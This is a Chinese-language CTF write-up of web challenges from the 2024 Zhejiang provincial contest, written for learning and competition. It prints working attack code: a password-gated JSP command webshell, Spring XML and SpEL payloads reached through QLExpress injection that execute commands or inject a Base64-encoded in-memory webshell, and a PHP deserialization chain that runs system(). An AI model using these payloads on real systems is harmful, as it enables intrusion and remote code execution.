2024浙江省省赛 web
初赛
这次比赛题目还是比较简单的 我上来就拿了两个血
可惜第三题使用xml加载内存马的时候 脑袋抽了没想出来 可惜了
最后第11名 欸可惜
easyjs

点名了存在原型链污染

污染id=1 的isAdmin为true就行 得到flag

这题不污染也行 乐
hack memory
不知道应该干啥 扫一下

直接上传一句话就行
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <% if("poc".equals(request.getParameter("pwd"))){java.io.InputStream in =
 Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
 int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
 while((a=in.read(b))!=-1){
 out.println(new String(b,0,a));
 }
 out.print("</pre>");
 }
 %>
 
 | 

QL_again
这题当时本地可以出 但是线上环境不出网 于是就失败了

这里存在标准的ql表达式注入

开了白名单 无法调用方法 只能使用构造方法 寻找构造方法可以rce的类
想起来之前学到过

但是之前利用的时候是使用的远程xml链接 这里不存在 只能想想别的方法
发现可以加载本地的文件
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | try {
 String code = "import org.springframework.context.support.ClassPathXmlApplicationContext;ClassPathXmlApplicationContext b = new ClassPathXmlApplicationContext('file:///D:/Desktop/.txt');";
 ExpressRunner runner = new ExpressRunner();
 QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
 Set<String> secureMethods = new HashSet<>();
 secureMethods.add(null);
 QLExpressRunStrategy.setSecureMethods(secureMethods);
 DefaultContext<String, Object> context = new DefaultContext();
 runner.execute(code, (IExpressContext)context, (List)null, false, false);
 } catch (Exception e) {
 e.printStackTrace();
 }
 
 | 
而这题 将QL表达式写入文件的时候 如果没有成功执行 并没有删除

可以利用这一点 加载我们写入的xml文件完成rce
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
 <bean id="pb" class="java.lang.ProcessBuilder">
 <constructor-arg value="calc.exe" />
 <property name="whatever" value="#{ pb.start() }"/>
 </bean>
 </beans>
 
 | 

但是这里不出网 不能反弹shell  只能想办法打内存马  比赛时也是卡在这个地方
现在花点时间调试一下 这个bean怎么加载进去的
前面主要是环境和logger的初始化 我就不细细调试了
主要加载bean的流程在这里org.springframework.beans.factory.support.DefaultListableBeanFactory#preInstantiateSingletons 调用点在这里

他这里有一个whiletrue 处理我们的xml数据

先将我们需要加载的bean类储存在beanNames列表里面  这里面就一个pb这个类 然后在getMergedLocalBeanDefinition 里面获取了pb这个类的结构 

这里判断了这个bean是不是 FactoryBean 显然我们自己写的类不是 所以调用了getBean方法获取
显然我们自己写的这个类不存在 所以触发了createbean方法

然后触发autowireConstructor 方法  构造出这个类之后进入evaluate方法

在这里造成了rce
这个过程中 在bean加载的时候 实际上是吧
| 12
 3
 4
 
 | <bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg value="calc.exe" />
 <property name="whatever" value="#{ pb.start() }"/>
 </bean>
 
 | 
里面这部分参数作为spel表达式处理了 根据spel表达式 我们也可以构造任意表达式注入
| 12
 3
 4
 5
 6
 7
 8
 
 | <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
 <bean id="pb" class="org.example.qlinject.main">
 <property name="helloWorld" value="#{ T(java.lang.Runtime).getRuntime.exec('calc') }"/>
 </bean>
 </beans>
 
 | 
注意的是 这里需要让class内的参数是包内存在的类 
如果是不存在的类 会造成抛出报错

原因是前面在获取结构的时候 会触发实例化 去实例化这个class类
如果没有获取到就会直接报错
所以最终的payload如下
| 12
 3
 4
 5
 6
 7
 8
 
 | <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
 <bean id="shell" class="org.example.qlinject">
 <property name="helloWorld" value="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"/>
 </bean>
 </beans>
 
 | 
第一次上传写入/tmp/PGJ.txt,第二次加载即可注入内存马
决赛
还是成功拿下省一拉
wucanrce
无参数rce

得到flag
unserialize
爆破得到两次md5哈希之后的值弱比较等于666的值是231
然后打反序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 
 | <?php
 error_reporting(0);
 class AAA{
 public $aear;
 public $string;
 }
 class BBB {
 private $pop;
 }
 class DDD{
 public $bag;
 public $length;
 public $magazine;
 }
 class EEE{
 public $d=array();
 public $e;
 public $f;
 }
 class FFF{
 public $cookie;
 }
 class GGG{
 public $green;
 public $book;
 }
 $payload = new AAA();
 $payload->aear=new AAA();
 $payload->aear->string=new GGG();
 $payload->aear->string->book="213";
 $payload->aear->string->green=new EEE();
 $payload->aear->string->green->d=1;
 $payload->aear->string->green->e=array('123');
 $payload->aear->string->green->f="system('cat /flag.txt');";
 
 
 
 
 
 
 
 
 
 echo serialize($payload);
 
 | 
